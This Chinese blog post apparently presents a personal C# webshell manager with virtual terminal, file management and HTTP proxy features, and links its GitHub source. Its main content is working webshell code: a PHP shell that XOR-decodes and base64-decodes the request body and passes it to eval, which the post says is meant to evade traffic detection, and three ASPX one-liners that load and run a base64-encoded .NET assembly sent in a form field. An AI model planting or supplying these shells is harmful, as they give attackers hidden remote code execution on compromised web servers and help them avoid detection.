C# 个人版webshell管理工具

文章讨论了使用Aspx和PHP实现的虚拟终端功能,包括文件管理、增删改查和HTTP代理。重点介绍了PHPxor+Base64加密以及如何参考冰蝎和AntSword项目进行流量加密和创建C#的一行payload,以兼容不同内存环境。作者旨在通过编码实践提升编程能力,开源代码可在GitHub上获取。
摘要由CSDN通过智能技术生成

主要功能

  1. 已完成 aspx,php 虚拟终端,文件管理,增删改查,文件上传
  2. HTTP代理
  3. 更新内容:php xor+base64加密,aspx base64加密

php

参考冰蝎实现xor+base64流量加密,更好绕过流量检测

webshell

<?php
function Decrypt($data)
{
   $key="e45e329feb5d925b";
   $bs="base64_"."decode";
 $after=$bs($data."");
 for($i=0;$i<strlen($after);$i++) {
     $after[$i] = $after[$i]^$key[$i+1&15];
  }
   return $after;
}
eval(Decrypt(file_get_contents("php://input")));
?>

aspx

参考AntSword-Csharp-Template 中国蚁剑Csharp一句话Payload

https://github.com/AntSwordProject/AntSword-Csharp-Template

shell.aspx

为了兼容各种情况下的内存马,Equals中的入口参数可以为System.Web.HttpContext对象,或者包含Request与Response对象的数组。

<%@ Page Language="c#"%>
<%
  String Payload = Request.Form["ant"];
  if (Payload != null)
  {
      System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
      assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(Context);
  }
%>
<%@ Page Language="c#"%>
<%
  String Payload = Request.Form["ant"];
  if (Payload != null)
  {
      System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
      assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(new object[] { Request, Response });
  }
%>
<%@ Page Language="c#"%>
<%
  String Payload = Request.Form["ant"];
  if (Payload != null)
  {
      System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
      assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);
  }
%>

加密效果

在这里插入图片描述

在这里插入图片描述

代码写的不是很好,主要是用C#造轮子,来锻炼编程能力

开源地址:

https://github.com/wy876/tools

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yr678

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值